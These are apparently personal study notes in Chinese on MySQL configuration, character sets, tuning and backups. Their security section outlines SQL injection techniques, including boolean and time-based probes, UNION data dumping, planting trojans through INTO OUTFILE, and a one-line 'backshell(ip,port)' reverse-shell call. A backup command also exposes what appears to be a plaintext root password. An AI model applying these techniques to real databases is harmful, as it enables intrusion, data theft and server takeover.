MySQL配置、安全、優化相關札記整理

1. 執行計劃

select_type
SIMPLE 不需要union且不包含子查詢的sql操作
PRIMARY
UNION
DERIVED
DEPENDENT SUBQUERY

2. MySQL字符集和國際化

2.1 字符集配置的作用

#1  連接相關的字符集

#1.1 設置MySQL返回結果表時結果表應使用的字符集(如果存儲字符集與這個設置不一致,則會進行編碼轉換),SET NAMES可以臨時設置,客戶端根據此進行適當的編碼轉換
character_set_results  
#1.2 String literal的默認字符集,轉義符後的字符串的字符集,literal的翻譯不太統一(本意是字面值,有時被翻譯成常量,彙編語言翻譯成立即數,SQL中指直接寫在sql語句中的字符串常量)
character_set_connection
#1.3 MySQL服務器認爲客戶端使用的字符集
character_set_client

#2 存儲所涉及的字符集
#2.1 元數據的存儲 
#設置存儲MySQL元數據時使用的字符集,元數據(數據的數據,用於描述數據庫)包括列名,數據庫名,用戶名,版本號,大部分show語句的返回值,INFORMATION_SCHEMA表的內容,值爲utf-8 只讀屬性,不能修改
character_set_system
#2.2 數據庫內容的存儲 
#CREATE DATABASE語句創建數據表未顯示指明字符集時,數據庫的默認存儲字符集
character_set_server
#CREATE TABLE語句創建表,列未顯示指明字符集時,表的默認存儲字符集
character_set_database
#2.3 操作系統文件名的存儲
#與系統文件名相關的String literal,最終本轉換爲此字符集,此變量表示系統文件名所使用的字符集(binary表示不做轉換)  
# LOAD DATA INFILE and SELECT ... INTO OUTFILE 
character_set_filesystem

2.2 字符集的自動轉換

2.3 字符集的查看和調試

HEX()函數用於調試字符集

2.4 字符集的建議配置

統一utf-8並非最優配置,純英文使用latin更合適,但要支持中文或者考慮國際化,utf-8最方便

character_set_results  utf-8
character_set_connection utf-8
character_set_client utf-8
character_set_server utf-8
character_set_database utf-8
character_set_system utf-8 (Readonly)
character_set_filesystem binary

http://dev.mysql.com/doc/refman/5.7/en/charset.html
http://www.jb51.net/article/29960.htm

3. MySQL安全

3.1 使用非root用戶,限制非root用戶權限,尤其是mysql表,schema表

3.2 MySQL注入型攻擊

3.2.1 攻
針對非參數化的語句
參數化判斷注入
?'and 1=1 方法
1=1因爲設計到典型過濾,所以可以用任意條件語句或內置函數
延時注入攻擊
利用數據庫針對正確和錯誤的不同延時來判斷真假,進行注入型攻擊
利用union脫褲
可藉助自動化工具sqlmap
利用INTO OUTFILE/INTO DUMPFILE/load_file上傳木馬提權
INTO OUTFILE本意用來將數據導出到文件,但也可以利用已經寫入到數據庫數據的木馬腳本,上傳到服務器
木馬能上線的前提:

  • 數據庫服務器有外網連接,利用木馬連接我們的服務器,進行數據通信來繼續進行內網滲透攻擊
  • 數據庫服務器和web服務器是同一臺,即木馬程序可以向web提供訪問
  • 知道web服務的絕對路徑,這樣才能將木馬web目錄,以提供web界面才能訪問
  • php,asp解析性的直接可用,java應放到classpath中,可能需要等待系統重啓
SELECT * INTO OUTFILE '/data/volume/mysql/a.txt' FIELDS TERMINATED BY ',' FROM tb_ip

反彈端口提權

select backshell(ip,port)

3.2.2 防

參數化語句
關鍵字過濾
合理分配數據庫權限
合理分配MySQL語句權限
合理分配MySQL用戶權限
合理分配MySQL進程權限

3.3 MySQL Console提權

console system語句提權

4. MySQL性能優化

http://dev.mysql.com/doc/refman/5.7/en/optimization.html

設計優化 https://yq.aliyun.com/articles/98539

庫級別(分庫=讀寫分離)
一主多從,主從熱備(判斷依據,需要預先估算或指導讀寫比例,需要中間件支持)
posgresql (Pgpool-II,Postgres-XL)
消息:2016年11月05日: 騰訊內部在用pgxl的一個改進版 叫pgxz
mysql (mycat,oneproxy)
表級別(分表=冷熱分離=因可以且應該採用不用的緩存等優化方式)
冷數據(極少變動,讀多寫少)
熱數據(經常改變)

連接優化

連接數,連接池

緩存優化

性能調試

定性判斷

  • 數據是否經常更新
    開啓查詢緩存後,查詢會先查詢緩存後查詢數據庫表,數據經常更新,緩存命中率低,查詢緩存反而是無用功
    定量判斷
  • 查詢緩存命中率
    開啓參數化查詢
    是否可使用內存表

MyISAM存儲引擎

InnoDB存儲引擎

單條SQL性能調優(慢查詢日誌分析)

  1. 對號入座(不同的SQL有不同的優化方法和原則,先將SQL語句進行分門別類,對號入座)
    簡單SELECT(不帶WHERE)
    簡單SELECT(帶WHERE)

EXPLAIN查詢執行計劃分析
profiling分析

NOCACHE查詢(排除緩存對MySQL性能的影響)
select SQL_NO_CACHE * from tb_weibo limit 1

5.MySQL備份

備份方式

備份實踐,備份成本,鎖時間,時長,性能開銷,恢復成本,恢復時長,所能夠容忍丟失的數據量

MySQL閃回 由阿里彭立勳開發,2012年合併到MySQL官方倉庫,美團網開發的調試工具binlog2sql

mysqldump --socket=/data/volume/mysql/mysql.sock -u root -p ocosc > /data/backup.sql
mysqldump --socket=/data/volume/mysql/mysql.sock --all-databases --single-transaction -u root -p > /data/volume/spider1.sql
mysqldump --socket=/data/volume/mysql/mysql.sock --all-databases --single-transaction -u root -p | gzip > /data/volume/spider1.sql.gz

mysqldump 備份主要受硬盤io限制,初始階段硬盤爲主要瓶頸隨機讀取,受IOPS限制,見cpu wait 硬盤tps,單線程,只佔用一個cpu,後期主要爲快存儲,cpu爲主要限制,見cpu usr
-q 禁止緩存

mysqldump 大概每秒3千條記錄
innodb 熱備,溫備
myisam 溫備
mysqldumper 多線程的mysqldump
mysqlhotdump

yum install cmake make gcc gcc-c++ wget -y
yum install glib2-devel mysql-devel zlib-devel pcre-devel -y
git clone https://github.com/maxbube/mydumper.git
mkdir bin
cd bin
wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm
rpm -ivh mysql-community-release-el7-5.noarch.rpm
yum install mysql-community-devel mysql-community-client -y 
cmake ./

Xtrabackup
innodb 熱備,增量 PITR
myisam 溫備 PITR
官網下載rpm包 yum安裝
innobackupex --user=root --password=‘r1G%!p8M’ /data/volume/backup
tar zcvf backup.tar.gz backup
scp -r /data/docker-volume/mariadb-3/backup.tar.gz [email protected]:/home/spider_backup/20160930_3_backup.tar.gz

http://www.tuicool.com/articles/B3euYzj

數據引擎 TokuDB 支持數據壓縮
Postgres PlusTM Advanced Serve

數據庫選型的幾個關鍵指標

支持關係
支持數據規模
支持統計(速度)
原子性的支持
事務性的支持
字符集的支持
災備和XX備的支持

安裝後需關心的配置

  1. 字符集相關
  2. 連接相關,最大連接數
  3. 日誌相關
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章